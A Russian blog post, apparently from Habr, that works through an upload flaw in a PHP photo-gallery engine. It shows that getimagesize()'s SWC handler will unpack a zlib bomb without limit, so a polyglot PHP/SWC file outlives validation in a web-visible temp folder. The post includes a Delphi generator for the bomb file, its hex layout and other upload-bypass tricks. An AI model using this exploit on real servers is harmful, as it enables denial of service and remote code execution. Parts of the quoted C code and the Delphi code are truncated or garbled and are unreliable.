Опасный getimagesize() или Zip Bomb для PHP

РекурсияВ Питер снова пришла осень, и рабочее настроение, которое подвергалось постоянной атаке солнечной радиации вот уже целую неделю, решило, что с него хватит, и улетело в ещё не задраенную форточку.

«Отлично, — подумал я, — самое время поковырять какой-нибудь движок, пока оно не вернулось!»

Сказано — сделано. Под катом предлагаю небольшой обзор уязвимости в распространённом движке фото-галереи на PHP и о том, как можно положить любой сайт, использующий getimagesize (), с помощью бородатой zip-бомбы (или пета-бомбы).Как известно, целью любого взлома является бочка мёда попытка утащить что-нибудь — либо с клиентской стороны (имеем в виду XSS), либо с серверной (имеем в виду RCE, Remote Code Execution). Последнее, конечно, связано с приятным общением куда более перспективно — имея возможность выполнять код (shell.php aka «eBay Style») можно утянуть всю пользовательскую базу, а заодно и добавить пару-тройку XSS.

Самая прямая дорога к RCE — возможность загрузки файлов на сервер. Это можно делать под разными соусами — чаще всего в виде котиков… прошу прощения, изображений. В самом деле, сегодня любой уважающий себя форум или соцсеть позволяет нам загружать как минимум аватары.

Но мало просто загрузить код на сервер — нужно заставить его (сервер) выполнить этот код. Здесь на помощь строителям демократии приходят и проблемы с настройкой try_files в nginx, и обрезание строки с помощью %00, и даже банальный обход проверки MIME и загрузки *.php напрямую (но это совсем тяжёлый случай, движки, грешащие этим, скорее всего имеют ещё пару десятков других дыр).

И даже когда код загружен и имеет ненужное расширение — его ещё нужно найти. Часто движки генерируют имена файлов случайным образом, иногда — последовательно на основе ID записи в БД. Однако обычно это меньшая проблема, чем собственно загрузка самого скрипта.

Как видим, возможностей усложнить жизнь хакера — хоть отбавляй. Однако иногда встречаются весьма забавные косяки, и об одном из таких ниже.

Когда размер имеет значениеВ рассматриваемом мной движке за загрузку файлов отвечает всего одна функция и начинается она так: function process_upload ($upload) { $ext = explode ('.', $upload['name']); $ext = strtolower ($ext[count ($ext)-1]); $filename = md5_file ($upload['tmp_name']); move_uploaded_file ($upload['tmp_name'], 'temp/'.$filename.'.'.$ext); $info = getimagesize ('temp/'.$filename.'.'.$ext); $tmp_ext = str_replace ('image/', '', $info['mime']); if ($ext!= $tmp_ext) { rename ('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext); $ext = $tmp_ext; } if ($ext!= 'jpg' && $ext!= 'jpeg' && $ext!= 'gif' && $ext!= 'png') { unlink ('temp/'.$filename.'.'.$ext); return false; } // Проверки пройдены, далее обработка легитимной загрузки. Функция process_upload () на вход получает запись из $_FILES — то есть массив такого формата: $upload = array ( 'name' => 'локальное_имя.jpg', 'tmp_name' => '/var/tmp/php-upload.temp', ) Как видим, здесь происходит следующее: Генерация имени конечного файла по его содержимому (aka md5sum $tmp_name) Добавление к этому имени оригинального расширения Перемещение загруженного файла во временную папку по этому имени; папка видна извне как http://example.com/temp/ Проверка формата файла — если расширение отличается от того, которое соответствует формату, то файл во временной папке переименовывается под «настоящее» расширение Если файл — не изображение — он удаляется Для нас крайне интересно происходящее между пунктом 3 и 4. Между проверкой на вшивость на формат файла и удалением этого файла есть как минимум две операции: вызов getimagesize () и rename (). Последний нас мало интересует — он действительно работает быстро, или не работает —, но тогда PHP выдаёт предупреждение и следом выполняется unlink (), который заметает следы.А вот getimagesize () нас очень даже волнует. Можно ли заставить её «подождать», пока мы запустим наш скрипт в temp?

Use the sources, Luke Проверка на формат файла — потенциально сложная операция. Эта функция существует в PHP уже с десяток лет, ей не нужна библиотека GD и она включена во все сборки интерпретатора. Она поддерживает 20 форматов и код её модуля занимает почти 1500 строчек. Естественно, там должно быть что-то, что мы сможем проэксплуатировать.Как всякое дело начинается с хорошо продуманного плана, так всякий white box-пентест начинается с исходников. Интересующий нас модуль — php-5.5.12\ext\standard\image.c. После нескольких минут изучения кода я наткнулся на очень интересную функцию, которая работает с форматом SWC — Shockwave Flash Compressed (я про такой слышу впервые). А именно:

// При вызове функции курсор stream находится на 4-м байте, после магической подписи 'CWS'. static struct gfxinfo *php_handle_swc (php_stream * stream TSRMLS_DC) { struct gfxinfo *result = NULL;

long bits; unsigned char a[64]; unsigned long len=64, szlength; int factor=1, maxfactor=16; int slength, status=0; char *b, *buf=NULL, *bufz=NULL;

b = ecalloc (1, len + 1);

if (php_stream_seek (stream, 5, SEEK_CUR)) return NULL;

if (php_stream_read (stream, a, sizeof (a)) != sizeof (a)) return NULL;

if (uncompress (b, &len, a, sizeof (a)) != Z_OK) { /* failed to decompress the file, will try reading the rest of the file */ if (php_stream_seek (stream, 8, SEEK_SET)) return NULL;

slength = php_stream_copy_to_mem (stream, &bufz, PHP_STREAM_COPY_ALL, 0); /* * zlib: uncompress () wants to know the output data length * if none was given as a parameter * we try from input length * 2 up to input length * 2^8 * doubling it whenever it wasn’t big enough * that should be eneugh for all real life cases */ do { szlength=slength*(1<

«Постойте… пару сотен мегабайт?»

Facepalm

640 петабайт хватит для всех Кто помнит — в начале 2000-х этим способом ложили некоторые почтовые сервера, которые пытались отфильтровать архивы с нежелательным содержимым. Суть атаки проста: если алгоритм сжатия, подобный LZ, проходит по сжимаемому потоку, находя в нём уже встреченные ранее фрагменты и заменяя их на ссылки (скажем, двухбайтовые), то мы можем создать такой архив, который на каждые 4 байта (2 для смещения и 2 для длины) сжатых данных будет создавать 65536 разжатых байт. Таким образом, 4 килобайта после распаковки станут 64 мегабайтами. Достаточно забить весь входной файл одним и тем же символом. Это упрощённо.На практике реальный LZ будет действовать не так эффективно, но даже без всяких ухищрений простым zip мы можем получить файл в 10 Мб из исходного файла с нулями в 11 Гб.

PHP по умолчанию настроен на максимальную загрузку файла в 2 Мб и максимально доступную скрипту память в 128 Мб. Легко подсчитать, что двухмегабайтовый архив потребует где-то один гигабайт памяти для распаковки. Часто сервера настраивают для допуска 5–10 мегабайтовых файлов, особенно если это касается файловых хранилищ… или фото-галерей.

Возвращаясь к нашим котикам. Как видно по коду функции php_handle_swc, нам достаточно создать файл следующего вида:

0000h: 43 57 53 00 00 00 00 00 78 DA CWS…xÚ Первые 3 байта — магическая подпись SWC, следующие 5 — заголовок (в php_handle_swc не используется), а затем идёт сжатый Zlib-поток. Здесь он начинается с 78 DA, что соответствует максимальной степени сжатия.Нам достаточно испортить какой-то фрагмент данных в сжатом потоке и PHP войдёт в цикл распаковки, попытается распаковать нашу «бомбу», у скрипта закончится выделенная память — и… интерпритатор прервёт его выполнение!

Это означает, что try…catch (если бы он был) не будет вызван и не сможет обработать исключение — удалив наш файл, например — и только если скрипт установил свой обработчик register_shutdown_handler (), то он будет вызван и там можно будет отследить исключение. Но обычно этого не делают, так как это не совсем «логичная» логика. Хотя и в духе старого PHP.

(Для полноты картины надо сказать, что поддержка Zlib в PHP может быть отключена, и как следствие поддержка SWC в getimagesize () — тоже. Однако большинство серверов используют Zlib.)

Генератор «бомбы» на моём любимом Delphi:

program BombSWC;

{$APPTYPE CONSOLE}

uses ZLibEx, Classes;

const Header = 'CWS'#0#0#0#0#0; var I: Integer; Input: String; Buf: Pointer; Stream: TFileStream; begin SetLength (Input, 800×1024 * 1024); // 800?. FillChar (Input[1], Length (Input), 0); ZCompress (@Input[1], Length (Input), Buf, I, zcMax);

Stream:= TFileStream.Create ('bomb.php', fmCreate); Stream.WriteBuffer (Header[1], Length (Header)); Stream.WriteBuffer (Buf^, I); Stream.Seek (-1000, soFromEnd); Input:= ''; Stream.WriteBuffer (Input[1], Length (Input)); Stream.Free; end. В итоге из 800 Мб получаем 796 Кб и выглядят они так: 0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00 CWS…xÚìÁ… 0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00 .€ … сжатый поток … C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66 …… C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … … ещё немного сжатых байт … C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 … C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01 …¿.î… Файл выше — корректный PHP-скрипт, кто не верит может убедиться. Да, он выведет мусор в начале и в конце, но это не помешает ему выполниться.Осталось только загрузить нашу «картинку» на сервер…

Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 834916352 bytes)

Pwned

— General Protection Fault —

© Habrahabr.ru